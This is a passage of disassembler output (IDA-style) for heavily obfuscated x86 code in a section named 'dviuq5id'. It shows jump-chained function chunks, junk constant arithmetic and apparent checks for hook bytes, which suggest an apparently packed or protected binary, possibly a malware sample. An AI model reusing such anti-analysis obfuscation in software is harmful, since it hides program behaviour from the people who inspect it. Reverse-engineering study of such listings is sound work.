; END OF FUNCTION CHUNK	FOR sub_448FC7
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_254. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44E67F

loc_4486CF:				; CODE XREF: sub_44E67F-A0D3j
		jmp	loc_459001
; END OF FUNCTION CHUNK	FOR sub_44E67F
; ---------------------------------------------------------------------------

loc_4486D4:				; CODE XREF: dviuq5id:00452EB3j
		not	ecx
; START	OF FUNCTION CHUNK FOR sub_44A2CC

loc_4486D6:				; CODE XREF: sub_44A2CC:loc_452EA5j
		add	ebx, 8A8E13BDh
		add	eax, ebx
		pop	ebx
		mov	eax, [eax]
		jmp	loc_44DEE1
; END OF FUNCTION CHUNK	FOR sub_44A2CC
; ---------------------------------------------------------------------------
		shr	edi, 0Dh
		jmp	sub_443E24
; ---------------------------------------------------------------------------
		cdq
		push	0BAA2FFF2h
		jmp	sub_4461D0

; =============== S U B	R O U T	I N E =======================================



sub_4486F9	proc near		; CODE XREF: dviuq5id:0043B4C3j
					; sub_43EB11+A1F3p

var_C		= dword	ptr -0Ch

; FUNCTION CHUNK AT 0043BF4E SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0043D26B SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00443E74 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00449613 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00452257 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 00452FCE SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00455227 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004568FD SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0045836A SIZE 00000014 BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		xor	ebx, 0BACA6170h
		add	ebx, ebp
		add	ebx, 71937E21h
		mov	ebx, [ebx]
		call	sub_45609C

loc_448712:				; CODE XREF: sub_45295E+12j
		jmp	loc_455227
sub_4486F9	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_448717:				; CODE XREF: dviuq5id:0044E424j
		jmp	loc_44D3B9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4547E2

loc_44871C:				; CODE XREF: sub_4547E2:loc_43A3B5j
		mov	eax, [ebp+var_4]
		cmp	byte ptr [eax],	0CFh
		jz	loc_44FE53
		mov	eax, [ebp+var_4]
		cmp	byte ptr [eax],	0E9h
		jz	loc_44FE53
		mov	eax, [ebp+var_4]
		jmp	loc_43EFEE
; END OF FUNCTION CHUNK	FOR sub_4547E2
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_344. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CC42

loc_44873D:				; CODE XREF: sub_43CC42+10552j
		jmp	sub_456F43
; END OF FUNCTION CHUNK	FOR sub_43CC42
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D53C

loc_448742:				; CODE XREF: sub_43D53C+F995j
		jmp	loc_44C0DA
; END OF FUNCTION CHUNK	FOR sub_43D53C
; ---------------------------------------------------------------------------
		push	ebx
		push	9D4EE336h
		xchg	eax, [esp]
		mov	ebx, eax
		pop	eax
		rol	ebx, 6
		jmp	loc_4448DE
; ---------------------------------------------------------------------------

loc_44875B:				; CODE XREF: dviuq5id:0044110Ej
		add	edx, ecx

; =============== S U B	R O U T	I N E =======================================



sub_44875D	proc near		; CODE XREF: sub_44846C+8BFEp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 0044A64E SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0044AF2E SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0044BA76 SIZE 00000005 BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		xchg	edx, [esp-4+arg_0]
		jmp	loc_44AF2E
sub_44875D	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4427AE

loc_448769:				; CODE XREF: sub_4427AE+FE39j
		jz	loc_440A67
		mov	ebx, esi

loc_448771:				; CODE XREF: sub_43D83D:loc_455D46j
		push	edi
		push	77CC4D7Ch
		pop	edi
		or	edi, 7E1312F0h
		add	edi, 0B7B9DA6h
		sub	edi, 7E7225B6h
		jmp	loc_45A690
; END OF FUNCTION CHUNK	FOR sub_4427AE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439013

loc_44878F:				; CODE XREF: sub_439013:loc_456E33j
					; dviuq5id:loc_457389j
		push	edx
		push	eax
		push	4A792473h
		pop	eax
		jmp	loc_451674
; END OF FUNCTION CHUNK	FOR sub_439013
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4538B3

loc_44879C:				; CODE XREF: sub_4538B3-1010Fj
		and	esi, 0D757DBAFh
		or	esi, ds:4000F9h
		add	esi, 26E9518Ch
		or	esi, 0A500C46Dh
		add	esi, 505DBA53h
		xchg	esi, [esp+8+var_8]
		jmp	sub_44C294
; END OF FUNCTION CHUNK	FOR sub_4538B3
; ---------------------------------------------------------------------------
		mov	eax, 0F2B89A19h
		jmp	loc_43A862
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_345. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C4B5

loc_4487CD:				; CODE XREF: sub_43C4B5+1592Dj
		jmp	loc_44A2E4
; END OF FUNCTION CHUNK	FOR sub_43C4B5
; ---------------------------------------------------------------------------

locret_4487D2:				; CODE XREF: dviuq5id:loc_454B16j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4547F0

loc_4487D3:				; CODE XREF: sub_4547F0-59E4j
		jmp	nullsub_198
; END OF FUNCTION CHUNK	FOR sub_4547F0
; ---------------------------------------------------------------------------

loc_4487D8:				; CODE XREF: dviuq5id:loc_44B691j
		call	sub_450443
; START	OF FUNCTION CHUNK FOR sub_446314

loc_4487DD:				; CODE XREF: dviuq5id:loc_444EB3j
					; sub_446314+70FFj
		jmp	sub_455658
; END OF FUNCTION CHUNK	FOR sub_446314
; ---------------------------------------------------------------------------
		or	ebx, edi
		jmp	sub_43B89D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_442BFE

loc_4487E9:				; CODE XREF: sub_442BFE:loc_455DA7j
					; sub_442BFE+131B7j
		and	ebx, 0D4E88DECh
		sub	ebx, 33247412h
		test	ebx, 40000h
		jmp	loc_44357B
; END OF FUNCTION CHUNK	FOR sub_442BFE

; =============== S U B	R O U T	I N E =======================================



sub_448800	proc near		; CODE XREF: sub_44EAC4:loc_43A25Ej
					; sub_44CC63+7p

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0043D79D SIZE 00000024 BYTES
; FUNCTION CHUNK AT 0043E610 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00440814 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00444790 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0044C925 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00452199 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00455F22 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 00459376 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0045963F SIZE 00000005 BYTES

		xchg	edi, [esp-4+arg_0]
		pop	edi
		xor	eax, 0A8FF74B3h
		ror	eax, 2
		jmp	loc_459376
sub_448800	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4560AC

loc_448812:				; CODE XREF: sub_4560AC:loc_44B14Ej
		add	eax, ebx
		pop	ebx
		call	sub_44F11D

loc_44881A:				; CODE XREF: sub_45383B-16Aj
		jmp	loc_43F660
; END OF FUNCTION CHUNK	FOR sub_4560AC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_451DAA

loc_44881F:				; CODE XREF: sub_451DAA:loc_445E59j
		inc	dword ptr [ebp-4]
		mov	eax, [ebp+8]
		mov	eax, [eax-10h]
		shr	eax, 6
		call	sub_44084F
; END OF FUNCTION CHUNK	FOR sub_451DAA

; =============== S U B	R O U T	I N E =======================================



sub_448830	proc near		; CODE XREF: sub_44AD42-323Bp
					; dviuq5id:00449C7Cj
		xchg	edi, [esp+0]
		pop	edi
		mov	eax, [ebp-4]
		call	sub_4547E2
		jmp	loc_4494E6
sub_448830	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444466

loc_448841:				; CODE XREF: sub_444466:loc_442AD8j
		mov	[ebp+var_C], eax
		cmp	[ebp+var_4], 0
		jz	loc_44DBF7
		mov	eax, [ebp+var_4]
		add	eax, 3Ch
		jmp	loc_43E278
; END OF FUNCTION CHUNK	FOR sub_444466
; ---------------------------------------------------------------------------
		jns	loc_442EF0
		jmp	sub_449B5B
; ---------------------------------------------------------------------------
		shl	edi, 1Fh
		jmp	loc_44B02D
; ---------------------------------------------------------------------------

loc_44886C:				; CODE XREF: dviuq5id:00457A0Cj
		rol	ecx, 6
		or	ecx, 0A3A00692h
		and	ecx, 0A8256E83h
		add	ecx, 601F0FB1h
		jmp	loc_441798
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44E206

loc_448886:				; CODE XREF: sub_44E206-ADE8j
					; dviuq5id:00453AE1j ...
		mov	eax, [ebp+var_8]
		pop	ecx
		pop	ecx
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_44E206
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44EAC4

loc_44888D:				; CODE XREF: sub_44EAC4-E8A6j
		jmp	loc_445300
; END OF FUNCTION CHUNK	FOR sub_44EAC4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44E206

loc_448892:				; CODE XREF: sub_44E206-ADF1j
		mov	eax, [ebp+arg_0]
; END OF FUNCTION CHUNK	FOR sub_44E206
; START	OF FUNCTION CHUNK FOR sub_459804

loc_448895:				; CODE XREF: sub_459804:loc_43DA87j
		push	offset loc_453AD3
		jmp	nullsub_388
; END OF FUNCTION CHUNK	FOR sub_459804
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4509F7

loc_44889F:				; CODE XREF: sub_4509F7+2538j
		rol	ebx, 5

loc_4488A2:				; CODE XREF: sub_4509F7:loc_452F1Dj
		add	ecx, 6FBA2073h
		xor	eax, ecx
		pop	ecx
		ror	eax, 8
		push	edx
		jmp	loc_44E1BB
; END OF FUNCTION CHUNK	FOR sub_4509F7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FDFB

loc_4488B4:				; CODE XREF: sub_43FDFB+7FCj
		cmp	esi, ecx
		jmp	loc_442ED3
; END OF FUNCTION CHUNK	FOR sub_43FDFB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44C20F

loc_4488BB:				; CODE XREF: sub_44C20F:loc_440265j
		xor	eax, 3BD609EAh
		call	sub_43C4B5
		push	edi
		push	7887F37h
		pop	edi
		add	edi, 24FED297h
		jmp	loc_4589CA
; END OF FUNCTION CHUNK	FOR sub_44C20F
; ---------------------------------------------------------------------------
		rol	edi, 0Ah
		jmp	loc_458B22
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_463. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43EF0E

loc_4488E1:				; CODE XREF: sub_43EF0E+Aj
		jmp	nullsub_57
; END OF FUNCTION CHUNK	FOR sub_43EF0E
; ---------------------------------------------------------------------------

loc_4488E6:				; CODE XREF: dviuq5id:0043BC00j
		jmp	sub_449EB7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43EE53

loc_4488EB:				; CODE XREF: sub_43EE53+478Dj
		not	edx
		jmp	loc_43EFF3
; END OF FUNCTION CHUNK	FOR sub_43EE53
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4525D0

loc_4488F2:				; CODE XREF: sub_4525D0:loc_45774Bj
		cmp	dword ptr [ebp-4], 5
		jnz	loc_43EFF3
		jmp	loc_459A2F
; END OF FUNCTION CHUNK	FOR sub_4525D0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43DD79

loc_448901:				; CODE XREF: sub_43DD79+DCE5j
		jl	loc_440FD6

loc_448907:				; CODE XREF: sub_454267-5239j
		jmp	nullsub_72
; END OF FUNCTION CHUNK	FOR sub_43DD79
; ---------------------------------------------------------------------------
		mov	edx, [ecx]
		jmp	loc_457611
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_445A59

loc_448913:				; CODE XREF: sub_445A59+4j
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		mov	al, [eax]
		jnz	loc_457821
		sub	al, 99h
		call	sub_439E87

loc_448928:				; CODE XREF: sub_44D42F+11j
		jmp	loc_44C230
; END OF FUNCTION CHUNK	FOR sub_445A59
; ---------------------------------------------------------------------------

loc_44892D:				; CODE XREF: dviuq5id:00445F8Fj
		jmp	loc_4414F1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_458A79

loc_448932:				; CODE XREF: sub_458A79-1EAABj
		jmp	loc_4538CC
; END OF FUNCTION CHUNK	FOR sub_458A79
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FA59

loc_448937:				; CODE XREF: sub_4525D0:loc_4460B6j
					; sub_43FA59:loc_451414j
		push	338ECD6Dh
		jmp	loc_4553AE
; END OF FUNCTION CHUNK	FOR sub_43FA59
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_30. PRESS	KEYPAD "+" TO EXPAND]
		dw 290Ch
dword_448944	dd 0CFE088EFh		; DATA XREF: sub_4533E7:loc_441321w
					; sub_441F10+4r
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_451EEC

loc_448948:				; CODE XREF: sub_451EEC+3E2Ej
		jmp	nullsub_225
; END OF FUNCTION CHUNK	FOR sub_451EEC
; ---------------------------------------------------------------------------

loc_44894D:				; CODE XREF: dviuq5id:0045574Aj
		jmp	locret_458517
; ---------------------------------------------------------------------------
		dw 0A74Eh
dword_448954	dd 0			; DATA XREF: sub_43938B+6r
					; dviuq5id:loc_449234w	...
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_454267

loc_448958:				; CODE XREF: sub_454267+1FC9j
		jmp	loc_454C25
; END OF FUNCTION CHUNK	FOR sub_454267
; ---------------------------------------------------------------------------
		db 0B8h, 0Bh, 52h
dword_448960	dd 0F9E97F5Dh		; DATA XREF: sub_458882w
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_452189

loc_448964:				; CODE XREF: sub_452189+Aj
		jmp	loc_445E0C
; END OF FUNCTION CHUNK	FOR sub_452189
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_450519

loc_448969:				; CODE XREF: sub_450519+9j
		jmp	loc_456C1F
; END OF FUNCTION CHUNK	FOR sub_450519
; ---------------------------------------------------------------------------
		dw 0A1B5h
		dd 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C4B5

loc_448974:				; CODE XREF: sub_43C4B5+17149j
		jmp	loc_451DD5
; END OF FUNCTION CHUNK	FOR sub_43C4B5
; ---------------------------------------------------------------------------
		retn	20B1h
; ---------------------------------------------------------------------------
dword_44897C	dd 77D40000h		; DATA XREF: sub_443F7F+Cr
					; sub_443F7F+43C5w ...
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44646F

loc_448980:				; CODE XREF: sub_44646F+D13Cj
		jmp	loc_45749D
; END OF FUNCTION CHUNK	FOR sub_44646F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449222

loc_448985:				; CODE XREF: sub_449222-1071j
		jmp	loc_43E1B6
; END OF FUNCTION CHUNK	FOR sub_449222
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444E1A

loc_44898A:				; CODE XREF: sub_444E1A-6859j
		jmp	loc_43E31D
; END OF FUNCTION CHUNK	FOR sub_444E1A
; ---------------------------------------------------------------------------
		db 0C7h
		dd 0E4ACDCAEh, 91716466h, 98006336h ; DATA XREF: sub_443F7F+7E37o
dword_44899C	dd 0D4h			; DATA XREF: sub_4408FF+14r
					; dviuq5id:0044915Ew
dword_4489A0	dd 76Ch			; DATA XREF: sub_4408FF+5404r
					; sub_4408FF+B11Fw ...
; ---------------------------------------------------------------------------

loc_4489A4:				; CODE XREF: dviuq5id:loc_45197Dj
		jmp	loc_453596
; ---------------------------------------------------------------------------

loc_4489A9:				; CODE XREF: dviuq5id:0044BC04j
		jmp	loc_43B2EE

; =============== S U B	R O U T	I N E =======================================



sub_4489AE	proc near		; CODE XREF: dviuq5id:00448DE0j
					; sub_44A203:loc_44DCDBp

; FUNCTION CHUNK AT 00439724 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 00445E24 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0045A487 SIZE 00000005 BYTES

		xchg	eax, [esp+0]
		pop	eax
		mov	[edi], eax

loc_4489B4:				; CODE XREF: sub_453D79:loc_452AE6j
		pop	edi
		jmp	loc_445E24
sub_4489AE	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4489BA	proc near		; DATA XREF: dviuq5id:00446505o

; FUNCTION CHUNK AT 00442960 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004500B1 SIZE 0000000B BYTES

		or	eax, eax
		jz	loc_45817F
		jmp	loc_442960
sub_4489BA	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439C09

loc_4489C7:				; CODE XREF: sub_439C09+F2CDj
		jge	loc_458F7C

loc_4489CD:				; CODE XREF: sub_44E01E+Dj
		jmp	loc_43D817
; END OF FUNCTION CHUNK	FOR sub_439C09
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4436E3

loc_4489D2:				; CODE XREF: sub_4436E3-15D4j
					; sub_43F285:loc_45286Cj
		jmp	loc_45129C
; END OF FUNCTION CHUNK	FOR sub_4436E3
; ---------------------------------------------------------------------------
		not	edx

loc_4489D9:				; CODE XREF: dviuq5id:004562E3j
		ror	edx, 1Dh
		jmp	loc_458F7C

; =============== S U B	R O U T	I N E =======================================



sub_4489E1	proc near		; CODE XREF: dviuq5id:0044DA75j
					; sub_451B18:loc_45018Ep

; FUNCTION CHUNK AT 0043C23F SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00446520 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00447873 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044A501 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044E011 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00457655 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 004595A0 SIZE 00000015 BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		call	sub_4489F3

loc_4489EA:				; CODE XREF: sub_447ECD-39C8j
		pop	ecx
		mov	[ebp-20h], eax
		jmp	loc_44A501
sub_4489E1	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4489F3	proc near		; CODE XREF: sub_4489E1+4p

; FUNCTION CHUNK AT 0043E948 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00441EE8 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044788C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004522D1 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0045370E SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00456E75 SIZE 0000000C BYTES

		push	ebp
		jmp	loc_43E948
sub_4489F3	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_442913

loc_4489F9:				; CODE XREF: sub_442913-22AFj
		jnp	loc_4567CB
		adc	edi, 87833EAh
		test	edx, 0C65B9374h
		jmp	loc_45127E
; END OF FUNCTION CHUNK	FOR sub_442913
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4404A6

loc_448A10:				; CODE XREF: sub_4404A6:loc_453827j
		push	eax
		push	ebx
		pushf
		call	sub_4400A1
; END OF FUNCTION CHUNK	FOR sub_4404A6
; START	OF FUNCTION CHUNK FOR sub_446B53

loc_448A18:				; CODE XREF: sub_446B53+9j
		jmp	loc_454191
; END OF FUNCTION CHUNK	FOR sub_446B53
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44E67F

loc_448A1D:				; CODE XREF: sub_44E67F-11E56j
		jmp	loc_440F9E
; END OF FUNCTION CHUNK	FOR sub_44E67F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44846C

loc_448A22:				; CODE XREF: sub_44846C:loc_441662j
		or	eax, eax
		jnz	loc_441A4A
		jmp	loc_4431D6
; END OF FUNCTION CHUNK	FOR sub_44846C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449D2E

loc_448A2F:				; CODE XREF: sub_449D2E+7F4Ej
		or	esi, 296CF857h
		xor	esi, 89544AFh
		add	esi, 5CDA2FA1h
		popf
		xchg	esi, [esp-4+arg_0]
		jmp	sub_453642
; END OF FUNCTION CHUNK	FOR sub_449D2E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C3D8

loc_448A4A:				; CODE XREF: sub_43C3D8+11594j
		lea	eax, [ebp-125h]
		push	eax
		call	sub_43A101
		mov	[ebp-4], eax
		jmp	loc_455D88
; ---------------------------------------------------------------------------

loc_448A5E:				; CODE XREF: sub_43C3D8:loc_446113j
		lea	eax, [ebp-125h]
		push	eax
		jmp	loc_45782C
; END OF FUNCTION CHUNK	FOR sub_43C3D8

; =============== S U B	R O U T	I N E =======================================



sub_448A6A	proc near		; CODE XREF: dviuq5id:004459F6p
					; dviuq5id:0044AC69j

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00453ED2 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00455A70 SIZE 0000001F BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		mov	eax, [esp-4+arg_0]
		push	edx
		call	sub_445A59
		push	4D1068E9h
		pop	eax
		jmp	loc_453ED2
sub_448A6A	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440898

loc_448A82:				; CODE XREF: sub_440898:loc_43EE49j
		add	eax, ebp
		add	eax, 0C16829C6h
		mov	eax, [eax]
		cmp	byte ptr [eax],	0F1h
		jnz	loc_43E608
		jmp	loc_43C21E
; END OF FUNCTION CHUNK	FOR sub_440898
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_454515

loc_448A9A:				; CODE XREF: sub_454515:loc_454518j
		push	offset loc_43BD95
		jmp	loc_456F86
; END OF FUNCTION CHUNK	FOR sub_454515
; ---------------------------------------------------------------------------
		pushf
		jmp	loc_43D56B
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_421. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446181

loc_448AAB:				; CODE XREF: sub_446181:loc_44984Aj
		mov	ebp, 5165BBE8h
		jmp	loc_456D01
; END OF FUNCTION CHUNK	FOR sub_446181
; ---------------------------------------------------------------------------

loc_448AB5:				; CODE XREF: dviuq5id:0044043Bj
		jnz	loc_43E989
		jmp	loc_4576C0

; =============== S U B	R O U T	I N E =======================================



sub_448AC0	proc near		; CODE XREF: sub_457566-1ABFCp
					; dviuq5id:0044A12Ej
		xchg	esi, [esp+0]
		pop	esi
		add	eax, edx
		mov	eax, [eax]
		push	ebx
		call	sub_43EB11

loc_448ACE:				; CODE XREF: dviuq5id:0045736Bj
		jmp	nullsub_58
sub_448AC0	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4432C4

loc_448AD3:				; CODE XREF: sub_4432C4+138A9j
		jmp	loc_441826
; END OF FUNCTION CHUNK	FOR sub_4432C4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44CBA2

loc_448AD8:				; CODE XREF: sub_44CBA2+7D23j
		jmp	loc_458014
; END OF FUNCTION CHUNK	FOR sub_44CBA2
; ---------------------------------------------------------------------------

loc_448ADD:				; CODE XREF: dviuq5id:0043B0FBj
		jmp	locret_439B27
; ---------------------------------------------------------------------------

locret_448AE2:				; CODE XREF: dviuq5id:0044566Ej
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_443F7F

loc_448AE3:				; CODE XREF: sub_443F7F:loc_4491BCj
		jmp	loc_4599E9
; END OF FUNCTION CHUNK	FOR sub_443F7F
; ---------------------------------------------------------------------------

loc_448AE8:				; CODE XREF: dviuq5id:0044201Fj
		not	ecx
		ja	loc_45A50A
		ror	ebx, 1Dh
		cmp	eax, esi
		jmp	loc_4583B1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_454094

loc_448AFA:				; CODE XREF: sub_454094:loc_457294j
		test	edi, 796E549Fh
		jmp	loc_43F11B
; END OF FUNCTION CHUNK	FOR sub_454094
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4547E2

loc_448B05:				; CODE XREF: sub_4547E2-166F9j
		call	sub_459B3F
; END OF FUNCTION CHUNK	FOR sub_4547E2

; =============== S U B	R O U T	I N E =======================================



sub_448B0A	proc near		; CODE XREF: dviuq5id:00443017j
					; sub_4558A5:loc_446875p
		xchg	edx, [esp+0]
		pop	edx
		push	edx
		call	sub_43DD79

loc_448B14:				; CODE XREF: dviuq5id:0044DF37j
		jmp	loc_44D017
sub_448B0A	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44952D

loc_448B19:				; CODE XREF: sub_44952D+C3BBj
		mov	ebx, 54578CB1h
		jmp	loc_44B8DE
; END OF FUNCTION CHUNK	FOR sub_44952D

; =============== S U B	R O U T	I N E =======================================



sub_448B23	proc near		; CODE XREF: sub_442437-2ACFp
					; sub_458B72-4F38j

arg_0		= dword	ptr  4

		xchg	edi, [esp+0]
		pop	edi
		xchg	ecx, [esp-4+arg_0]
		call	sub_4512BC
		push	offset loc_45558B
		jmp	nullsub_59
sub_448B23	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_448B39:				; CODE XREF: dviuq5id:0044639Cj
		push	0D754AE95h

; =============== S U B	R O U T	I N E =======================================



sub_448B3E	proc near		; CODE XREF: sub_4515EB+Dp

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00440F43 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00442C0C SIZE 0000001E BYTES
; FUNCTION CHUNK AT 00448C4C SIZE 00000005 BYTES

		xchg	esi, [esp+0]
		pop	esi
		shl	al, cl
		mov	edx, [ebp-14h]
		jmp	loc_448C4C
sub_448B3E	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_448B4C	proc near		; DATA XREF: sub_43FED0+7o

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00442A8E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00455141 SIZE 0000001B BYTES

		mov	eax, [esp+0]
		push	ebx
		mov	ebx, edx
		xchg	ebx, [esp+4+var_4]
		call	sub_43D7C1
		mov	eax, 83ED7AACh
		jmp	loc_455141
sub_448B4C	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441C84

loc_448B64:				; CODE XREF: sub_441C84:loc_43CC64j
		sub	al, 99h
		push	1C28B722h
		pop	edx
		and	edx, 3D964FF1h
		or	edx, 61AC1B27h
		jmp	loc_44AF1A
; END OF FUNCTION CHUNK	FOR sub_441C84
; ---------------------------------------------------------------------------

loc_448B7D:				; CODE XREF: dviuq5id:loc_44E28Fj
		rol	edi, 6
		and	edi, 0EBAA6662h
		sub	edi, 0E061A2Dh
		add	edi, 45BFDE8Fh
		call	sub_44ABAE
; START	OF FUNCTION CHUNK FOR sub_454142

loc_448B97:				; CODE XREF: sub_454142:loc_44B079j
		push	0BC2861D7h
		pop	ebx
		sub	ebx, 0B1E0291Bh
		and	ebx, ds:4000F1h
		xor	ebx, 0E9D6B425h
		add	eax, ebx
		pop	ebx
		cmp	dword ptr [eax], 4742444Fh
		jmp	loc_45A360
; END OF FUNCTION CHUNK	FOR sub_454142
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43BD72

loc_448BBD:				; CODE XREF: sub_43BD72:loc_43B3C5j
		jz	loc_445546

loc_448BC3:				; CODE XREF: dviuq5id:0045181Ej
					; sub_43B24C:loc_454907j
		jmp	loc_4453D9
; END OF FUNCTION CHUNK	FOR sub_43BD72
; ---------------------------------------------------------------------------

loc_448BC8:				; CODE XREF: dviuq5id:0044162Fj
		jmp	loc_44CE94
; ---------------------------------------------------------------------------
		db 0Fh,	8Ah, 3Dh
; ---------------------------------------------------------------------------
		sbb	[eax], al
		add	[ecx+761355EDh], al
		wait
		add	esi, ecx
		jmp	loc_44EDE0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_455B54

loc_448BE0:				; CODE XREF: sub_455B54+12j
		sub	edx, 0D502F0B6h
		and	edx, 8304B517h
		add	edx, ds:4000F7h
		xor	edx, 0C57663D6h
		add	edx, ebp
		push	edi
		push	0C7C9FB8Dh
		jmp	loc_43F150
